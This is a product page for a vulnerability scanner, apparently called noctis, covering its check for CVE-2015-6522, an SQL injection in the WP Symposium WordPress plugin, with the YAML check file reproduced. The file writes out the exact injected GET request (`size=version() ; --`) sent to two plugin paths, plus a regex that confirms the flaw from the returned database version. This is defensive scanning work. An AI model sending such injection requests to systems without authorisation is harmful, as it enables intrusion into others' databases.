WP Symposium — 1 vulnerability check
noctis ships 1 vulnerability check for WP Symposium, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
WordPress WP Symposium get_album_item.php SQL Injection
| CVE | CVE-2015-6522 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/wp-symposium/CVE-2015-6522.yaml |
Tests the WordPress WP Symposium plugin for SQL injection in the `size` parameter of get_album_item.php. A `version() ; --` payload returning HTTP 200 with a numeric result and a PHPSESSID session cookie indicates the vulnerable code path. QoD 75.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20-- HTTP/… - Checks
root_resp.bannerfor(?s)^HTTP/1\.[01] 200 .*Set-Cookie: PHPSESSID.*\r\n\r\n\s*[0-9]+\.[0-…→ finding QoD 75: WP Symposium get_album_item.php SQL injection response: … - Raw TCP (TLS on HTTPS), sent verbatim:
GET /wordpress/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%… - Checks
wp_resp.bannerfor(?s)^HTTP/1\.[01] 200 .*Set-Cookie: PHPSESSID.*\r\n\r\n\s*[0-9]+\.[0-…→ finding QoD 75: WP Symposium get_album_item.php SQL injection response: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2015-6522
- https://www.exploit-db.com/exploits/37824
- https://www.exploit-db.com/exploits/37822
Feed source — tests/vulnerabilities/wp-symposium/CVE-2015-6522.yaml
# WordPress WP Symposium plugin SQL injection — CVE-2015-6522
#
# The `size` parameter of wp-content/plugins/wp-symposium/get_album_item.php is
# placed into an SQL query without sanitisation (WP Symposium < 15.8).
#
# Detection (active): request get_album_item.php with an SQL payload in `size`
# (`version() ; --`, URL-encoded). A vulnerable install answers HTTP 200 with
# the query result (a version string) and starts a PHP session
# (`Set-Cookie: PHPSESSID`). Response analysis, QoD 75.
#
# The payload carries %xx encoding, so the request is sent verbatim over
# tcp_connect (HTTP/1.0) and matched on resp.banner. Probed under the web root
# and under the common /wordpress install dir.
#
# Detection logic ported from OpenVAS/Greenbone NVT
# 2015/gb_wp_symposium_mult_sql_inj_vuln.nasl (GPL-2.0-only).
uid: efe9e20a-3efc-4a9e-a3ce-23b8a09b719e
name: "WordPress WP Symposium get_album_item.php SQL Injection (CVE-2015-6522)"
description: |
Tests the WordPress WP Symposium plugin for SQL injection in the `size`
parameter of get_album_item.php. A `version() ; --` payload returning HTTP 200
with a numeric result and a PHPSESSID session cookie indicates the vulnerable
code path. QoD 75.
cves: [CVE-2015-6522]
cvss: 7.5
severity: high
confidence_base: 0.25
tags: [wordpress, wp-symposium, sqli, sql-injection, unauthenticated]
category: sqli
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2015-6522"
- "https://www.exploit-db.com/exploits/37824"
- "https://www.exploit-db.com/exploits/37822"
- "OpenVAS/Greenbone NVT 2015/gb_wp_symposium_mult_sql_inj_vuln.nasl (GPL-2.0-only)"
steps:
# ── WordPress installed at the web root ──────────────────────────────────
- id: sqli-root
action: tcp_connect
port: "{{port}}"
send: "GET /wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20-- HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: root_resp
- id: sqli-root-match
action: match
source: root_resp.banner
# 200 status, a PHP session cookie, AND a body that is a MySQL version
# string (the version() query result). A fixed 15.8+ install also starts a
# PHPSESSID session, so the version-string body — not "any digit" — is what
# proves the SQLi actually executed.
pattern: "(?s)^HTTP/1\\.[01] 200 .*Set-Cookie: PHPSESSID.*\\r\\n\\r\\n\\s*[0-9]+\\.[0-9]+\\.[0-9]+[-\\w.]*\\s*$"
on_match:
finding:
confidence_delta: 0.60
qod: 75
evidence: "WP Symposium get_album_item.php SQL injection response: {{root_resp.banner}}"
stop: true
# ── WordPress installed under /wordpress ─────────────────────────────────
- id: sqli-wordpress
action: tcp_connect
port: "{{port}}"
send: "GET /wordpress/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20-- HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: wp_resp
- id: sqli-wordpress-match
action: match
source: wp_resp.banner
pattern: "(?s)^HTTP/1\\.[01] 200 .*Set-Cookie: PHPSESSID.*\\r\\n\\r\\n\\s*[0-9]+\\.[0-9]+\\.[0-9]+[-\\w.]*\\s*$"
on_match:
finding:
confidence_delta: 0.60
qod: 75
evidence: "WP Symposium get_album_item.php SQL injection response: {{wp_resp.banner}}"
stop: true